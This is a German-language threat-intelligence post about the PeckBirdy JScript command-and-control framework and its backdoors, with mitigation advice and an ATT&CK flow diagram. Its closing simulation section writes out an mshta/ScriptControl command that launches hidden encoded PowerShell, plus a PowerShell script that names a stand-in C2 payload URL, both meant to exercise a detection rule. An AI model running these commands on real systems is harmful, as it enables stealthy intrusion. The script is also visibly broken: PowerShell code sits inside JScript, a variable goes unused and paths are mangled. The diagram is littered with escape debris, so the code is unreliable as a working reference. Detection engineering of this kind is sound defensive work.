SOC Prime Bias: Kritisch

26 Jan. 2026 22:08

PeckBirdy: Ein vielseitiges Skript-Framework zur Ausnutzung von LOLBins, das von China-ausgerichteten Bedrohungsgruppen verwendet wird

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
PeckBirdy: Ein vielseitiges Skript-Framework zur Ausnutzung von LOLBins, das von China-ausgerichteten Bedrohungsgruppen verwendet wird
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

PeckBirdy ist ein auf JScript basierendes Command-and-Control-Framework, das von China-ausgerichteten APT-Akteuren genutzt wird, um Living-off-the-Land-Binärdateien zu missbrauchen und modulare Backdoors wie HOLODONUT und MKDOOR bereitzustellen. Es ist darauf ausgelegt, über mehrere Laufzeiten auszuführen – Webbrowser, MSHTA, WScript, NodeJS und .NET – und unterstützt mehrere Transportoptionen wie WebSocket, Flash, Comet und HTTP. Das Framework wurde in Kampagnen beobachtet, die als SHADOW-VOID-044 und SHADOW-EARTH-045 verfolgt werden und die sich gegen Online-Glücksspielressourcen, asiatische Regierungswebportale und eine Bildungseinrichtung richteten.

Untersuchung

Forscher berichteten über bösartige Skriptinjektionen auf kompromittierten Glücksspielseiten und Regierungsseiten, die den PeckBirdy-Loader herunterzogen, der dann nachfolgende Nutzlasten abrief – insbesondere einen Chrome-Exploit (CVE-2020-16040) und zusätzliche Backdoor-Komponenten. Die Aktivität wurde mit zwei modularen Implantaten, HOLODONUT und MKDOOR, in Verbindung gebracht und mit zuvor beobachteten Gruppen und Infrastrukturmustern verbunden. Die Analyse katalogisierte auch Indikatoren für Kompromittierungen, einschließlich IP-Adressen, Domains und operativer Details wie die Verwendung gestohlener Code-Signatur-Zertifikate.

Minderung

Blockieren Sie identifizierte bösartige Domains und IP-Adressen und überwachen Sie atypische LOLBin-Nutzung und Skriptausführung über MSHTA, WScript und NodeJS. Erkennen Sie die Erstellung des unique_id Datei in %TEMP% und erzwingen Sie eine strenge Validierung von Code-Signatur-Zertifikaten. Abdeckung für bekannte Cobalt-Strike-Nutzlasten und Donut-generierte .NET-Assemblies kann die Exposition weiter reduzieren.

Reaktion

Wenn erkannt, isolieren Sie betroffene Systeme, sammeln Sie das eingespritzte Skript und alle produzierten Backdoor-Binärdateien und blockieren Sie die zugehörige C2-Infrastruktur. Führen Sie eine forensische Prüfung auf laterale Bewegungen durch und aktualisieren Sie die Erkennungslogik für die beobachteten Befehlszeilen-Artefakte und Netzwerkverkehrsmuster.

„graph TB %% Class Definitions classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef tool fill:#99ccff classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Technique Nodes content_injection[„<b>Technik</b> – <b>T1659 Inhaltseinschleusung</b><br /><b>Beschreibung</b>: Injektion bösartiger Skripte in kompromittierte Webseiten, um zusätzliche Schadprogramme zu liefern.“] class content_injection technique execution_mshta[„<b>Technik</b> – <b>T1218.005 Ausführung über signierte Binärdateien: Mshta</b><br /><b>Beschreibung</b>: Einsatz von mshta.exe, um bösartige HTML-Anwendungsdateien auszuführen.“] class execution_mshta technique execution_compiled_html[„<b>Technik</b> – <b>T1218.001 Ausführung über signierte Binärdateien: Kompilierte HTML-Datei</b><br /><b>Beschreibung</b>: Verwendung kompilierter HTML-Dateien, um bösartige JScript-Skripte auszuführen.“] class execution_compiled_html technique victim_id_gen[„<b>Prozess</b> – Opfer-Identifikator-Generierung<br />Generiere eine eindeutige Opfer-ID und bereite das bösartige Skript vor.“] class victim_id_gen process credential_steal_cookie[„<b>Technik</b> – <b>T1539 Diebstahl von Web-Session-Cookies</b><br /><b>Beschreibung</b>: Extrahieren von Authentifizierungs-Cookies aus der Browsersitzung des Opfers.“] class credential_steal_cookie technique alt_auth_material_cookie[„<b>Technik</b> – <b>T1550.004 Nutzung alternativer Authentifizierungsmaterialien: Web-Session-Cookie</b><br /><b>Beschreibung</b>: Wiederverwendung gestohlener Sitzungscookies, um sich als das Opfer zu authentifizieren.“] class alt_auth_material_cookie technique defense_evasion_code_signing[„<b>Technik</b> – <b>T1553.002 Untergrabung von Vertrauensvetrauensmaßnahmen: Code-Signierung</b><br /><b>Beschreibung</b>: Einsatz gefälschter oder falsch signierter Codes, um Vertrauensüberprüfungen zu umgehen.“] class defense_evasion_code_signing technique masquerading_invalid_sig[„<b>Technik</b> – <b>T1036.001 Maskierung: Ungültige Codesignatur</b><br /><b>Beschreibung</b>: Präsentation von Binärdateien mit ungültigen Signaturen, um der Erkennung zu entgehen.“] class masquerading_invalid_sig technique reflective_code_loading[„<b>Technik</b> – <b>T1620 Reflektives Code-Laden</b><br /><b>Beschreibung</b>: Laden von Code direkt in den Speicher, ohne den Betriebssystemlader zu verwenden.“] class reflective_code_loading technique process_injection[„<b>Technik</b> – <b>T1055 Prozessinjektion</b><br /><b>Beschreibung</b>: Injektion von bösartigem Code in einen laufenden Prozess, um die Ausführung zu verbergen.“] class process_injection technique impair_defenses[„<b>Technik</b> – <b>T1562 Verteidigungsbeeinträchtigung</b><br /><b>Beschreibung</b>: Deaktivierung oder Manipulation von Sicherheitstools und -einstellungen.“] class impair_defenses technique execution_guardrails[„<b>Technik</b> – <b>T1480 Ausführungsschutzvorrichtungen</b><br /><b>Beschreibung</b>: Implementierung von Prüfpunkten, um nur auf bestimmten Zielen oder Umgebungen auszuführen.“] class execution_guardrails technique obfuscated_embedded_payload[„<b>Technik</b> – <b>T1027.009 Verschleierte Dateien oder Informationen: Eingebettete Nutzlasten</b><br /><b>Beschreibung</b>: Verbergen bösartiger Nutzlasten innerhalb legitimer Dateien oder Datenströme.“] class obfuscated_embedded_payload technique command_and_control_web[„<b>Technik</b> – <b>T1102 Webdienst</b><br /><b>Beschreibung</b>: Nutzung standardmäßiger Webdienste für KommandoundKontroll-Kommunikation.“] class command_and_control_web technique encrypted_channel[„<b>Technik</b> – <b>T1573 Verschlüsselter Kanal</b><br /><b>Beschreibung</b>: Verschlüsselung von C2-Verkehr, um Netzwerkkontrollen zu umgehen.“] class encrypted_channel technique app_layer_web_protocols[„<b>Technik</b> – <b>T1071.001 Anwendungsschichtprotokoll: Webprotokolle</b><br /><b>Beschreibung</b>: Kommunikation über gängige Webprotokolle wie HTTP/HTTPS.“] class app_layer_web_protocols technique data_encoding[„<b>Technik</b> – <b>T1132 Datenkodierung</b><br /><b>Beschreibung</b>: Datenkodierung um Erkennung während der Übertragung zu vermeiden.“] class data_encoding technique lateral_movement_exploit[„<b>Technik</b> – <b>T1210 Ausnutzung von entfernten Diensten</b><br /><b>Beschreibung</b>: Ausnutzung von Schwachstellen in entfernten Diensten, um sich lateral zu bewegen.“] class lateral_movement_exploit technique remote_vulnerability[„<b>Prozess</b> – Ausnutzung der CVEu20112020u201116040 Chrome Schwachstelle“] class remote_vulnerability process rat_holodonut[„<b>Malware</b> – HOLODONUT<br />Benutzerdefinierte Backdoor für Fernzugriff“] class rat_holodonut malware rat_mkdoor[„<b>Malware</b> – MKDOOR<br />Zweite Backdoor, die Persistenz bietet“] class rat_mkdoor malware %% Operator Nodes op_and_exec((„AND“)) class op_and_exec operator %% Connections content_injection u002du002d>|liefert| execution_mshta content_injection u002du002d>|liefert| execution_compiled_html execution_mshta u002du002d>|startet| victim_id_gen execution_compiled_html u002du002d>|startet| victim_id_gen victim_id_gen u002du002d>|bereitet Skript für| credential_steal_cookie credential_steal_cookie u002du002d>|führt zu| alt_auth_material_cookie credential_steal_cookie u002du002d>|ermöglicht| defense_evasion_code_signing defense_evasion_code_signing u002du002d>|umfasst| masquerading_invalid_sig defense_evasion_code_signing u002du002d>|umfasst| reflective_code_loading defense_evasion_code_signing u002du002d>|umfasst| process_injection defense_evasion_code_signing u002du002d>|umfasst| impair_defenses defense_evasion_code_signing u002du002d>|umfasst| execution_guardrails defense_evasion_code_signing u002du002d>|umfasst| obfuscated_embedded_payload defense_evasion_code_signing u002du002d>|ermöglicht| command_and_control_web command_and_control_web u002du002d>|nutzt| encrypted_channel encrypted_channel u002du002d>|nutzt| app_layer_web_protocols app_layer_web_protocols u002du002d>|nutzt| data_encoding command_and_control_web u002du002d>|unterstützt| lateral_movement_exploit lateral_movement_exploit u002du002d>|via| remote_vulnerability lateral_movement_exploit u002du002d>|verteilt| rat_holodonut lateral_movement_exploit u002du002d>|verteilt| rat_mkdoor „

Angriffsfluss

Simulation Ausführung

Voraussetzung: Die Telemetrie- & Baseline-Vorabprüfung muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die die Erkennungsregel auslösen soll. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Der Gegner möchte einen Fernsteuerungskanal mithilfe des PeckBirdy Skript-Frameworks aufbauen. Sie wählen mshta.exe , da es sich um ein signiertes Windows-Binärdatei handelt, das die meisten Anwendungs-Whitelistings umgeht. Die Payload bettet ein ActiveX ScriptControl Objekt ein, um JScript-Code auszuführen, der von einem C2-Server abgerufen wird. Die Schritte sind:

    1. Herunterladen der bösartigen JScript-Nutzlast vom C2 (z.B., http://malicious.c2/payload.js).
    2. Starten mshta.exe mit einem Inline javascript: URI, das eine ScriptControl Instanz erstellt, das heruntergeladene Skript lädt und es ausführt.
    3. Der JScript-Code richtet einen Reverse-TCP-Listener ein und vervollständigt so den Fußweg.

    Die genaue Befehlszeile, die die Telemetrie erzeugt, lautet:

    mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"

    Dieser Befehl enthält sowohl mshta.exe als auch den String ScriptControl, was die Sigma-Bedingung erfüllt.

  • Regressionstest-Skript:
    Das untenstehende Skript automatisiert die bösartige mshta Aufruf. Es kann auf einem Testarbeitsplatz unter einem administrativen Konto ausgeführt werden.

    #-------------------------------------------------
    # PeckBirdy-Ausführung über mshta + ScriptControl
    #-------------------------------------------------
    $c2Url   = "http://malicious.c2/payload.js"
    $jsCode  = @"
    var sc = new ActiveXObject('ScriptControl');
    sc.Language = 'JScript';
    // Einfache Beacon – ersetzen Sie durch reale Nutzlast
    sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");');
    "@
    
    # Kodieren Sie die JScript-Nutzlast, um Zeilenumbruchsprobleme zu vermeiden
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode))
    
    $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)"
    
    Write-Host "[*] Starten des bösartigen mshta..."
    Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow
  • Bereinigungsbefehle:
    Entfernen Sie alle vom Test erstellten Artefakte (z. B. die temporäre Datei).

    #-------------------------------------------------
    # Bereinigung nach PeckBirdy-Simulation
    #-------------------------------------------------
    Write-Host "[*] Bereinigen der Testartefakte..."
    Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue
    # Stoppen Sie alle verbleibenden mshta-Prozesse, die vom Test gestartet wurden
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force